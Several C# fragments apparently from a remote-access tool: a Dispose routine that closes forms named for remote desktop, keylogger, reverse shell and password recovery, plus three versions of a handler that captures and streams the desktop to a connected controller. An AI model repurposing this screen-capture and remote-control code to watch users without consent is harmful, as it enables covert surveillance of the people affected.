protected virtual void Dispose(bool disposing)
{
if (disposing)
{
try
{
if (FrmRdp != null)
{
FrmRdp.Invoke((MethodInvoker) delegate { FrmRdp.Close(); });
}
if (FrmTm != null)
{
FrmTm.Invoke((MethodInvoker) delegate { FrmTm.Close(); });
}
if (FrmFm != null)
{
FrmFm.Invoke((MethodInvoker) delegate { FrmFm.Close(); });
}
if (FrmRe != null)
{
FrmRe.Invoke((MethodInvoker) delegate { FrmRe.Close(); });
}
if (FrmSi != null)
{
FrmSi.Invoke((MethodInvoker) delegate { FrmSi.Close(); });
}
if (FrmRs != null)
{
FrmRs.Invoke((MethodInvoker) delegate { FrmRs.Close(); });
}
if (FrmStm != null)
{
FrmStm.Invoke((MethodInvoker) delegate { FrmStm.Close(); });
}
if (FrmKl != null)
{
FrmKl.Invoke((MethodInvoker) delegate { FrmKl.Close(); });
}
if (FrmProxy != null)
{
FrmProxy.Invoke((MethodInvoker) delegate { FrmProxy.Close(); });
}
if (FrmPass != null)
{
FrmPass.Invoke((MethodInvoker) delegate { FrmPass.Close(); });
}
}
catch (InvalidOperationException)
{
}
if (StreamCodec != null)
{
StreamCodec.Dispose();
}
}
}
public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client)
{
if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality ||
StreamCodec.Monitor != command.Monitor)
{
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
}
BitmapData bmpdata = null;
try
{
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
bmpdata = LastDesktopScreenshot.LockBits(
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
LastDesktopScreenshot.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
StreamCodec.CodeImage(bmpdata.Scan0,
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
LastDesktopScreenshot.PixelFormat,
stream);
new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
StreamCodec.Monitor).Execute(client);
}
}
catch
{
new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
StreamCodec = null;
}
finally
{
if (LastDesktopScreenshot != null)
{
if (bmpdata != null)
{
LastDesktopScreenshot.UnlockBits(bmpdata);
}
LastDesktopScreenshot.Dispose();
}
}
}
public static void HandleGetDesktop(GetDesktop command, Client client)
{
// TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex));
var resolution = new Resolution {
Height = monitorBounds.Height, Width = monitorBounds.Width
};
if (StreamCodec == null)
{
StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution);
}
if (command.CreateNew || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.DisplayIndex ||
StreamCodec.Resolution != resolution)
{
if (StreamCodec != null)
{
StreamCodec.Dispose();
}
StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution);
}
BitmapData desktopData = null;
Bitmap desktop = null;
try
{
desktop = ScreenHelper.CaptureScreen(command.DisplayIndex);
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
ImageLockMode.ReadWrite, desktop.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (StreamCodec == null)
{
throw new Exception("StreamCodec can not be null.");
}
StreamCodec.CodeImage(desktopData.Scan0,
new Rectangle(0, 0, desktop.Width, desktop.Height),
new Size(desktop.Width, desktop.Height),
desktop.PixelFormat, stream);
client.Send(new GetDesktopResponse
{
Image = stream.ToArray(),
Quality = StreamCodec.ImageQuality,
Monitor = StreamCodec.Monitor,
Resolution = StreamCodec.Resolution
});
}
}
catch (Exception)
{
if (StreamCodec != null)
{
client.Send(new GetDesktopResponse
{
Image = null,
Quality = StreamCodec.ImageQuality,
Monitor = StreamCodec.Monitor,
Resolution = StreamCodec.Resolution
});
}
StreamCodec = null;
}
finally
{
if (desktop != null)
{
if (desktopData != null)
{
try
{
desktop.UnlockBits(desktopData);
}
catch
{
}
}
desktop.Dispose();
}
}
}
public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client)
{
var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));
if (StreamCodec == null)
{
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
}
if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor ||
StreamCodec.Resolution != resolution)
{
if (StreamCodec != null)
{
StreamCodec.Dispose();
}
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
}
BitmapData desktopData = null;
Bitmap desktop = null;
try
{
desktop = ScreenHelper.CaptureScreen(command.Monitor);
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
ImageLockMode.ReadWrite, desktop.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (StreamCodec == null)
{
throw new Exception("StreamCodec can not be null.");
}
StreamCodec.CodeImage(desktopData.Scan0,
new Rectangle(0, 0, desktop.Width, desktop.Height),
new Size(desktop.Width, desktop.Height),
desktop.PixelFormat, stream);
new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
}
}
catch (Exception)
{
if (StreamCodec != null)
{
new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
StreamCodec.Resolution).Execute(client);
}
StreamCodec = null;
}
finally
{
if (desktop != null)
{
if (desktopData != null)
{
try
{
desktop.UnlockBits(desktopData);
}
catch
{
}
}
desktop.Dispose();
}
}
}
